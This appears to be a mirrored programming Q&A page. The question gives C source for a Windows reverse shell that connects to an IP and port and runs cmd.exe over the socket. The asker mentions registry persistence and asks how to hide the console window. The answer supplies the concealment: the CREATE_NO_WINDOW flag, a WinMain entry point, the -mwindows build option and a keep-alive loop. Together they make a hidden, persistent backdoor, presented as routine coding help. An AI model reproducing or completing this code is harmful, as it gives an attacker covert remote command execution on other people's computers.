简体   繁体   中英

Hiding the console on a windows socket

I am trying to create a program that connects to a socket. I want it to always stay connected so I am adding it to the registry to start on restart. I found this script online and it works as intended, however the console (cmd.exe) stays open when it is launched. I was wondering if it is possible to hide the console but keep the connection alive?

void RunSocket(char *a, char *b) {

    WSADATA wsaData;
    SOCKET Winsock;
    struct sockaddr_in hax;
    char ip_addr[16];
    STARTUPINFO ini_processo;
    PROCESS_INFORMATION processo_info;

    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    struct hostent *host;
    host = gethostbyname(a);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(b));
    hax.sin_addr.s_addr =inet_addr(ip_addr);

    WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
}

This is the function that runs. It is wrapped in a plain main function that accepts command line arguments for IP and PORT. It is ran by the command

script.exe 192.168.1.1 9880

I have tried building it as a Win32 GUI application but it does the same thing. I followed the steps outlined here How to get ride of console box of a GUI program compile by MinGW + Code::Block

Any help would be greatly appreciated.

Use CREATE_NO_WINDOW flag (sixth parameter in CreateProcess ) to create a hidden console window.

Note that the second parameter in CreateProcess should be a writable buffer. Example:

char buf[MAX_PATH];
strcpy_s(buf, "cmd.exe");
CreateProcess(NULL, buf, NULL, NULL, TRUE, CREATE_NO_WINDOW, 
    NULL, NULL, &ini_processo, &processo_info);


To create a window program without console, use WinMain entry point instead of main .

int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show)
{
    MessageBox(0, "Test", 0, 0);
    return 0;
}

In Visual Studio, set linker option to Windows subsystem.

In MinGW, use -mwindows linker option:

gcc myfile.c -mwindows -o myfile.exe

In Code::Blocks, enable GUI application, see image:

在此处输入图片说明


To keep the program running you may use while(Sleep(1000)); (with caution) or use a dummy message loop such as:

MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM